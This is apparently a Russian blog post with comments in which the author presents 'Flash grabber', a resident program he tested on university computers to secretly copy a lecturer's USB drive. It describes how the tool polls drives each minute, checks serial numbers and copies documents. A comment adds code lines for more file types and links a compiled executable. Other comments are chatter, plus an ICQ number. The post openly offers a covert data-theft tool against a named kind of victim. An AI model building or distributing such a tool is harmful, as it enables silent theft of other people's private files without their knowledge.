Flash grabber
Предыстория
Есть у нас препод, который каждую практику спрашивает всё по пройденному материалу, а лекции то писать лень. Да и зачем? Они же все есть на его флешке, которую он бережет как зеницу ока.
И так
Это полноценный релиз версии 1.0 протестированный мной на университетских компьютерах со злостными правовыми ограничениями. На больших файлах пока не тестировал (если будет сильно грузить можно будет попробовать расставить Sleep-ов ~150 миллисекунд для разгрузки процессора), но с кучей мелких доков и презентаций программа справляется приблизительно за минуту (Intel Atom N270 1.60 Ггц, 1Гб ОЗУ) при этом не нагружая процессор даже на половину, а в режиме ожидания вообще практически не влияет на загрузку системы (возможно позже добавлю тестовые отчеты). В коде нет наворотов, всё предельно тупо и просто. Делалось это из расчета на минимальные права в системе. Программа висит в памяти и с интервалом в минуту проходится по всем логическим дискам, если это флешка запрашивается ее серийный номер - программа сравнивает записи в реестре о последнем копировании с данной флешки и если прошло больше суток запускается рекурсивная функция копирования. Копирование производится на доступный для записи диск с условием, что на диске достаточно свободного места.
Как заметил Rinat если на флешке только docx то он ничего не копирует... а если есть хотябы один doc то копируется и doc и docx, поэтому я добавил все форматы в код
ОтветитьУдалитьFindAndCopy(&DS[i],buf,_TEXT("doc"));
FindAndCopy(&DS[i],buf,_TEXT("docx"));
FindAndCopy(&DS[i],buf,_TEXT("ppt"));
FindAndCopy(&DS[i],buf,_TEXT("pptx"));
FindAndCopy(&DS[i],buf,_TEXT("rtf"));
FindAndCopy(&DS[i],buf,_TEXT("rtfx"));
компиленный вариант можно скачать тут
http://zona-chat.narod.ru/src/grab_flash_1.0.1.exe
Gar¦k хорошая идея =) сам реализовывал подобное на апи но на делфи=)
ОтветитьУдалитьУбейся!
ОтветитьУдалитьGar¦k - о великий помоги мне.
ОтветитьУдалитьICQ - 29010341 - обрати взор ко мне. помощь нада. :)